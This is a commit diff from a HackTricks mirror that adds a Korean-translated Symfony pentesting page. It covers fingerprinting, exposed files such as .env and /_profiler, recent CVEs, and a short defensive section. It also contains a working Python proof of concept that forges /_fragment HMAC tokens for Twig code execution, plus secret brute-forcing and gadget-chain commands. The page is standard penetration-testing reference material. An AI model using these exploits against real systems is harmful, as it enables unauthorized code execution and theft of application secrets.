mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/symphony.md'
This commit is contained in:
parent
45ecaf0f0b
commit
73c864abee
@ -2,10 +2,123 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
다음 게시물을 확인하세요:
|
||||
Symfony는 가장 널리 사용되는 PHP 프레임워크 중 하나로, 기업, 전자상거래 및 CMS 타겟(Drupal, Shopware, Ibexa, OroCRM … 모두 Symfony 구성 요소를 포함함)의 평가에서 정기적으로 등장합니다. 이 페이지는 Symfony 애플리케이션을 발견할 때 체크리스트에 포함해야 할 공격적인 팁, 일반적인 잘못된 구성 및 최근 취약점을 수집합니다.
|
||||
|
||||
- [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)
|
||||
- [**hhttps://blog.flatt.tech/entry/2020/11/02/124807**](https://blog.flatt.tech/entry/2020/11/02/124807)
|
||||
- [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
|
||||
> 역사적 참고: 생태계의 큰 부분이 여전히 **5.4 LTS** 브랜치를 실행하고 있습니다 (EOL **2025년 11월**). 많은 2023-2025 보안 권고가 패치 릴리스에서만 수정되므로 정확한 마이너 버전을 항상 확인하세요 (예: 5.4.46 → 5.4.50).
|
||||
|
||||
---
|
||||
|
||||
## Recon & Enumeration
|
||||
|
||||
### Finger-printing
|
||||
* HTTP 응답 헤더: `X-Powered-By: Symfony`, `X-Debug-Token`, `X-Debug-Token-Link` 또는 `sf_redirect`, `sf_session`, `MOCKSESSID`로 시작하는 쿠키.
|
||||
* 소스 코드 유출(`composer.json`, `composer.lock`, `/vendor/…`)은 종종 정확한 버전을 드러냅니다:
|
||||
```bash
|
||||
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
|
||||
```
|
||||
* Symfony에만 존재하는 공개 경로:
|
||||
* `/_profiler` (Symfony **Profiler** 및 디버그 툴바)
|
||||
* `/_wdt/<token>` (“Web Debug Toolbar”)
|
||||
* `/_error/{code}.{_format}` (예쁜 오류 페이지)
|
||||
* `/app_dev.php`, `/config.php`, `/config_dev.php` (4.0 이전 개발 프론트 컨트롤러)
|
||||
* Wappalyzer, BuiltWith 또는 ffuf/feroxbuster 단어 목록: `symfony.txt` → `/_fragment`, `/_profiler`, `.env`, `.htaccess`를 찾으세요.
|
||||
|
||||
### Interesting files & endpoints
|
||||
| Path | Why it matters |
|
||||
|------|----------------|
|
||||
| `/.env`, `/.env.local`, `/.env.prod` | 자주 잘못 배포됨 → `APP_SECRET`, DB 자격 증명, SMTP, AWS 키 유출 |
|
||||
| `/.git`, `.svn`, `.hg` | 소스 공개 → 자격 증명 + 비즈니스 로직 |
|
||||
| `/var/log/*.log`, `/log/dev.log` | 웹 루트 잘못 구성으로 스택 추적 노출 |
|
||||
| `/_profiler` | 전체 요청 기록, 구성, 서비스 컨테이너, **APP_SECRET** (≤ 3.4) |
|
||||
| `/_fragment` | ESI/HInclude에 의해 사용되는 진입점. `APP_SECRET`을 알면 남용 가능 |
|
||||
| `/vendor/phpunit/phpunit/phpunit` | 접근 가능할 경우 PHPUnit RCE (CVE-2017-9841) |
|
||||
| `/index.php/_error/{code}` | 지문 인식 및 때때로 예외 추적 유출 |
|
||||
|
||||
---
|
||||
|
||||
## High-impact Vulnerabilities (2023-2025)
|
||||
|
||||
### 1. APP_SECRET disclosure ➜ RCE via `/_fragment` (aka “secret-fragment”)
|
||||
* **CVE-2019-18889**에서 유래했지만 *여전히* 디버그가 활성화되어 있거나 `.env`가 노출된 현대 타겟에서 나타납니다.
|
||||
* 32자 `APP_SECRET`을 알게 되면 HMAC 토큰을 만들고 내부 `render()` 컨트롤러를 남용하여 임의의 Twig를 실행할 수 있습니다:
|
||||
```python
|
||||
# PoC – 비밀이 필요함
|
||||
import hmac, hashlib, requests, urllib.parse as u
|
||||
secret = bytes.fromhex('deadbeef…')
|
||||
payload = "{{['id']|filter('system')}}" # Twig에서 RCE
|
||||
query = {
|
||||
'template': '@app/404.html.twig',
|
||||
'filter': 'raw',
|
||||
'_format': 'html',
|
||||
'_locale': 'en',
|
||||
'globals[cmd]': 'id'
|
||||
}
|
||||
qs = u.urlencode(query, doseq=True)
|
||||
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
|
||||
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
|
||||
print(r.text)
|
||||
```
|
||||
* 훌륭한 작성 및 악용 스크립트: Ambionics 블로그 (참조에 링크됨).
|
||||
|
||||
### 2. Windows Process Hijack – CVE-2024-51736
|
||||
* `Process` 구성 요소가 Windows에서 `PATH` 이전에 현재 작업 디렉토리를 검색했습니다. 공격자가 쓰기 가능한 웹 루트에 `tar.exe`, `cmd.exe` 등을 업로드하고 `Process`를 트리거하면 (예: 파일 추출, PDF 생성) 명령 실행을 얻습니다.
|
||||
* 5.4.50, 6.4.14, 7.1.7에서 패치됨.
|
||||
|
||||
### 3. Session-Fixation – CVE-2023-46733
|
||||
* 인증 가드가 로그인 후 기존 세션 ID를 재사용했습니다. 공격자가 피해자가 인증하기 **전에** 쿠키를 설정하면 로그인 후 계정을 탈취합니다.
|
||||
|
||||
### 4. Twig sandbox XSS – CVE-2023-46734
|
||||
* 사용자 제어 템플릿(관리 CMS, 이메일 빌더)을 노출하는 애플리케이션에서 `nl2br` 필터를 남용하여 샌드박스를 우회하고 JS를 주입할 수 있습니다.
|
||||
|
||||
### 5. Symfony 1 gadget chains (여전히 레거시 앱에서 발견됨)
|
||||
* `phpggc symfony/1 system id`는 `sfNamespacedParameterHolder`와 같은 클래스에서 unserialize()가 발생할 때 RCE를 유발하는 Phar 페이로드를 생성합니다. 파일 업로드 엔드포인트 및 `phar://` 래퍼를 확인하세요.
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Exploitation Cheat-Sheet
|
||||
|
||||
### Calculate HMAC token for `/_fragment`
|
||||
```bash
|
||||
python - <<'PY'
|
||||
import sys, hmac, hashlib, urllib.parse as u
|
||||
secret = bytes.fromhex(sys.argv[1])
|
||||
qs = u.quote_plus(sys.argv[2], safe='=&')
|
||||
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
|
||||
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
|
||||
```
|
||||
### 약한 `APP_SECRET`에 대한 무차별 대입 공격
|
||||
```bash
|
||||
cewl -d3 https://target -w words.txt
|
||||
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
|
||||
```
|
||||
### RCE via exposed Symfony Console
|
||||
`bin/console`에 접근할 수 있는 경우 `php-fpm` 또는 직접 CLI 업로드를 통해:
|
||||
```bash
|
||||
php bin/console about # confirm it works
|
||||
php bin/console cache:clear --no-warmup
|
||||
```
|
||||
Use deserialization gadgets inside the cache directory or write a malicious Twig template that will be executed on the next request.
|
||||
|
||||
---
|
||||
|
||||
## Defensive notes
|
||||
1. **절대 디버그를 배포하지 마십시오** (`APP_ENV=dev`, `APP_DEBUG=1`); 웹 서버 구성에서 `/app_dev.php`, `/_profiler`, `/_wdt`를 차단하십시오.
|
||||
2. 비밀을 env vars 또는 `vault/secrets.local.php`에 저장하고, *절대* 문서 루트를 통해 접근 가능한 파일에 저장하지 마십시오.
|
||||
3. 패치 관리를 시행하십시오 – Symfony 보안 권고에 구독하고 최소한 LTS 패치 수준을 유지하십시오.
|
||||
4. Windows에서 실행하는 경우, 즉시 CVE-2024-51736을 완화하기 위해 업그레이드하거나 `open_basedir`/`disable_functions` 방어 깊이를 추가하십시오.
|
||||
|
||||
---
|
||||
|
||||
### Useful offensive tooling
|
||||
* **ambionics/symfony-exploits** – secret-fragment RCE, debugger routes discovery.
|
||||
* **phpggc** – Ready-made gadget chains for Symfony 1 & 2.
|
||||
* **sf-encoder** – small helper to compute `_fragment` HMAC (Go implementation).
|
||||
|
||||
## References
|
||||
* [Ambionics – Symfony “secret-fragment” Remote Code Execution](https://www.ambionics.io/blog/symfony-secret-fragment)
|
||||
* [Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component](https://symfony.com/blog/cve-2024-51736-command-execution-hijack-on-windows-with-process-class)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user